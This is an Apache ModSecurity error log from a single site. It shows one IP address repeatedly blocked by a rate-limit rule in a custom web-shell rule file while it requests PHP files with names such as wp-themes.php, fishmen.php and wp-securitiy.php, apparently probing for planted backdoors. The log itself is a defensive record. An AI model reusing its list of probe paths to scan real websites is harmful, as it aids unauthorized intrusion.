[Tue Dec 09 20:31:49.127659 2025] [:error] [pid 30498:tid 30508] [client 4.190.219.177:60883] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aTgWtR2mcZJQ5qP_RC0yQgAAAAY"]
[Tue Dec 09 20:31:49.571904 2025] [:error] [pid 36456:tid 36471] [client 4.190.219.177:30685] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aTgWtR0pAnOyfXl_v40p_gAAAI0"]
[Tue Dec 09 20:31:50.388586 2025] [:error] [pid 30498:tid 30522] [client 4.190.219.177:10282] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aTgWth2mcZJQ5qP_RC0yTwAAABQ"]
[Tue Dec 09 20:31:50.909941 2025] [:error] [pid 30591:tid 30604] [client 4.190.219.177:60930] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aTgWthG-g76drVdWQUV5_AAAAEo"]
[Tue Dec 09 20:31:51.602400 2025] [:error] [pid 5276:tid 5285] [client 4.190.219.177:60012] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aTgWt0tSXwbewdwyu-1tkwAAAMc"]
[Tue Dec 09 20:31:51.944371 2025] [:error] [pid 30499:tid 30539] [client 4.190.219.177:10915] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aTgWt00x3OqZTOPp7cn0GAAAAUk"]
[Tue Dec 09 20:31:52.692387 2025] [:error] [pid 30500:tid 30557] [client 4.190.219.177:60903] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aTgWuK2eIIK3JPWHCXXgPwAAAYA"]
[Tue Dec 09 20:31:53.217699 2025] [:error] [pid 5276:tid 5287] [client 4.190.219.177:10900] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-themes.php"] [unique_id "aTgWuUtSXwbewdwyu-1tmAAAAMk"]
[Tue Dec 09 20:31:53.566772 2025] [:error] [pid 30591:tid 30597] [client 4.190.219.177:10894] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-themes.php"] [unique_id "aTgWuRG-g76drVdWQUV6CgAAAEM"]
[Tue Dec 09 20:31:53.908657 2025] [:error] [pid 30591:tid 30594] [client 4.190.219.177:60008] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-themes.php"] [unique_id "aTgWuRG-g76drVdWQUV6CwAAAEA"]
[Tue Dec 09 20:31:54.685263 2025] [:error] [pid 30499:tid 30537] [client 4.190.219.177:60985] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-themes.php"] [unique_id "aTgWuk0x3OqZTOPp7cn0HgAAAUc"]
[Tue Dec 09 20:31:56.119364 2025] [:error] [pid 30499:tid 30539] [client 4.190.219.177:10297] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edd.php"] [unique_id "aTgWvE0x3OqZTOPp7cn0IQAAAUk"]
[Tue Dec 09 20:31:57.072707 2025] [:error] [pid 36456:tid 36480] [client 4.190.219.177:59992] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edd.php"] [unique_id "aTgWvR0pAnOyfXl_v40qDAAAAJY"]
[Tue Dec 09 20:31:57.501158 2025] [:error] [pid 30499:tid 30537] [client 4.190.219.177:60023] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edd.php"] [unique_id "aTgWvU0x3OqZTOPp7cn0KAAAAUc"]
[Tue Dec 09 20:31:58.094053 2025] [:error] [pid 30499:tid 30544] [client 4.190.219.177:60884] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edd.php"] [unique_id "aTgWvk0x3OqZTOPp7cn0KgAAAU4"]
[Tue Dec 09 20:31:58.473383 2025] [:error] [pid 36456:tid 36468] [client 4.190.219.177:30674] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "aTgWvh0pAnOyfXl_v40qDwAAAIo"]
[Tue Dec 09 20:31:58.842502 2025] [:error] [pid 30499:tid 30552] [client 4.190.219.177:63323] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "aTgWvk0x3OqZTOPp7cn0LQAAAVY"]
[Tue Dec 09 20:31:59.490698 2025] [:error] [pid 30499:tid 30554] [client 4.190.219.177:60010] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "aTgWv00x3OqZTOPp7cn0MAAAAVg"]
[Tue Dec 09 20:32:00.420610 2025] [:error] [pid 30500:tid 30561] [client 4.190.219.177:60888] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bo.php"] [unique_id "aTgWwK2eIIK3JPWHCXXgTwAAAYQ"]
[Tue Dec 09 20:32:00.780526 2025] [:error] [pid 30500:tid 30567] [client 4.190.219.177:10263] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bn.php"] [unique_id "aTgWwK2eIIK3JPWHCXXgUQAAAYo"]
[Tue Dec 09 20:32:01.351620 2025] [:error] [pid 30591:tid 30606] [client 4.190.219.177:59995] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bn.php"] [unique_id "aTgWwRG-g76drVdWQUV6HAAAAEw"]
[Tue Dec 09 20:32:01.723346 2025] [:error] [pid 30498:tid 30526] [client 4.190.219.177:11190] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bn.php"] [unique_id "aTgWwR2mcZJQ5qP_RC0yXQAAABg"]
[Tue Dec 09 20:32:02.291725 2025] [:error] [pid 30499:tid 30544] [client 4.190.219.177:59987] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bn.php"] [unique_id "aTgWwk0x3OqZTOPp7cn0OQAAAU4"]
[Tue Dec 09 20:32:02.843107 2025] [:error] [pid 30498:tid 30522] [client 4.190.219.177:10244] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fishmen.php"] [unique_id "aTgWwh2mcZJQ5qP_RC0yYAAAABQ"]
[Tue Dec 09 20:32:03.247830 2025] [:error] [pid 36456:tid 36460] [client 4.190.219.177:30675] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fishmen.php"] [unique_id "aTgWwx0pAnOyfXl_v40qHAAAAII"]
[Tue Dec 09 20:32:03.780112 2025] [:error] [pid 30499:tid 30537] [client 4.190.219.177:59984] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fishmen.php"] [unique_id "aTgWw00x3OqZTOPp7cn0PAAAAUc"]
[Tue Dec 09 20:32:04.360299 2025] [:error] [pid 5276:tid 5298] [client 4.190.219.177:11144] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fishmen.php"] [unique_id "aTgWxEtSXwbewdwyu-1toQAAANQ"]
[Tue Dec 09 20:32:04.771352 2025] [:error] [pid 30498:tid 30511] [client 4.190.219.177:60011] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/obfuscous.php"] [unique_id "aTgWxB2mcZJQ5qP_RC0yYwAAAAk"]
[Tue Dec 09 20:32:05.081399 2025] [:error] [pid 30591:tid 30616] [client 4.190.219.177:60025] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/obfuscous.php"] [unique_id "aTgWxRG-g76drVdWQUV6IQAAAFY"]
[Tue Dec 09 20:32:05.455030 2025] [:error] [pid 30498:tid 30515] [client 4.190.219.177:11193] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/obfuscous.php"] [unique_id "aTgWxR2mcZJQ5qP_RC0yZQAAAA0"]
[Tue Dec 09 20:32:05.845747 2025] [:error] [pid 36456:tid 36482] [client 4.190.219.177:10400] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/obfuscous.php"] [unique_id "aTgWxR0pAnOyfXl_v40qIQAAAJg"]
[Tue Dec 09 20:32:06.421070 2025] [:error] [pid 36456:tid 36469] [client 4.190.219.177:63351] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oitava.php"] [unique_id "aTgWxh0pAnOyfXl_v40qJAAAAIs"]
[Tue Dec 09 20:32:06.846302 2025] [:error] [pid 30591:tid 30603] [client 4.190.219.177:56173] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oitava.php"] [unique_id "aTgWxhG-g76drVdWQUV6IwAAAEk"]
[Tue Dec 09 20:32:07.153592 2025] [:error] [pid 30500:tid 30568] [client 4.190.219.177:10410] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oitava.php"] [unique_id "aTgWx62eIIK3JPWHCXXgXQAAAYs"]
[Tue Dec 09 20:32:07.611616 2025] [:error] [pid 36456:tid 36459] [client 4.190.219.177:30656] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oitava.php"] [unique_id "aTgWxx0pAnOyfXl_v40qJgAAAIE"]
[Tue Dec 09 20:32:08.624249 2025] [:error] [pid 30500:tid 30573] [client 4.190.219.177:56151] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phrensying.php"] [unique_id "aTgWyK2eIIK3JPWHCXXgYwAAAZA"]
[Tue Dec 09 20:32:09.272882 2025] [:error] [pid 30500:tid 30568] [client 4.190.219.177:10275] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phrensying.php"] [unique_id "aTgWya2eIIK3JPWHCXXgZgAAAYs"]
[Tue Dec 09 20:32:09.993798 2025] [:error] [pid 30500:tid 30569] [client 4.190.219.177:30673] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phrensying.php"] [unique_id "aTgWya2eIIK3JPWHCXXgaAAAAYw"]
[Tue Dec 09 20:32:10.344842 2025] [:error] [pid 30500:tid 30562] [client 4.190.219.177:30668] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phrensying.php"] [unique_id "aTgWyq2eIIK3JPWHCXXgaQAAAYU"]
[Tue Dec 09 20:32:10.774739 2025] [:error] [pid 30500:tid 30566] [client 4.190.219.177:10257] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pyrometry.php"] [unique_id "aTgWyq2eIIK3JPWHCXXgawAAAYk"]
[Tue Dec 09 20:32:11.049833 2025] [:error] [pid 30591:tid 30609] [client 4.190.219.177:30670] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pyrometry.php"] [unique_id "aTgWyxG-g76drVdWQUV6JAAAAE8"]
[Tue Dec 09 20:32:11.459361 2025] [:error] [pid 30499:tid 30541] [client 4.190.219.177:56182] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pyrometry.php"] [unique_id "aTgWy00x3OqZTOPp7cn0QgAAAUs"]
[Tue Dec 09 20:32:11.749062 2025] [:error] [pid 5276:tid 5285] [client 4.190.219.177:10369] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pyrometry.php"] [unique_id "aTgWy0tSXwbewdwyu-1towAAAMc"]
[Tue Dec 09 20:32:12.139429 2025] [:error] [pid 30500:tid 30563] [client 4.190.219.177:10430] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unprecipitously.php"] [unique_id "aTgWzK2eIIK3JPWHCXXgcAAAAYY"]
[Tue Dec 09 20:32:12.669001 2025] [:error] [pid 30591:tid 30607] [client 4.190.219.177:56179] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unprecipitously.php"] [unique_id "aTgWzBG-g76drVdWQUV6JQAAAE0"]
[Tue Dec 09 20:32:13.232244 2025] [:error] [pid 30591:tid 30598] [client 4.190.219.177:10422] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unprecipitously.php"] [unique_id "aTgWzRG-g76drVdWQUV6JwAAAEQ"]
[Tue Dec 09 20:32:13.684796 2025] [:error] [pid 30498:tid 30508] [client 4.190.219.177:10295] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unprecipitously.php"] [unique_id "aTgWzR2mcZJQ5qP_RC0ycAAAAAY"]
[Tue Dec 09 20:32:14.028804 2025] [:error] [pid 30500:tid 30562] [client 4.190.219.177:10415] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbefittingly.php"] [unique_id "aTgWzq2eIIK3JPWHCXXgdAAAAYU"]
[Tue Dec 09 20:32:14.540235 2025] [:error] [pid 30500:tid 30574] [client 4.190.219.177:30669] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbefittingly.php"] [unique_id "aTgWzq2eIIK3JPWHCXXgdgAAAZE"]
[Tue Dec 09 20:32:15.293764 2025] [:error] [pid 30500:tid 30573] [client 4.190.219.177:11159] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbefittingly.php"] [unique_id "aTgWz62eIIK3JPWHCXXgeQAAAZA"]
[Tue Dec 09 20:32:16.051263 2025] [:error] [pid 30498:tid 30509] [client 4.190.219.177:11152] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbefittingly.php"] [unique_id "aTgW0B2mcZJQ5qP_RC0ycQAAAAc"]
[Tue Dec 09 20:32:16.648530 2025] [:error] [pid 30591:tid 30613] [client 4.190.219.177:11158] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-home.php"] [unique_id "aTgW0BG-g76drVdWQUV6KgAAAFM"]
[Tue Dec 09 20:32:18.191421 2025] [:error] [pid 5276:tid 5283] [client 4.190.219.177:11192] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-home.php"] [unique_id "aTgW0ktSXwbewdwyu-1tqgAAAMU"]
[Tue Dec 09 20:32:18.894784 2025] [:error] [pid 30591:tid 30610] [client 4.190.219.177:10411] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-home.php"] [unique_id "aTgW0hG-g76drVdWQUV6MQAAAFA"]
[Tue Dec 09 20:32:19.292146 2025] [:error] [pid 30591:tid 30606] [client 4.190.219.177:60003] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-home.php"] [unique_id "aTgW0xG-g76drVdWQUV6MwAAAEw"]
[Tue Dec 09 20:32:19.609563 2025] [:error] [pid 30591:tid 30609] [client 4.190.219.177:11149] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTgW0xG-g76drVdWQUV6NgAAAE8"]
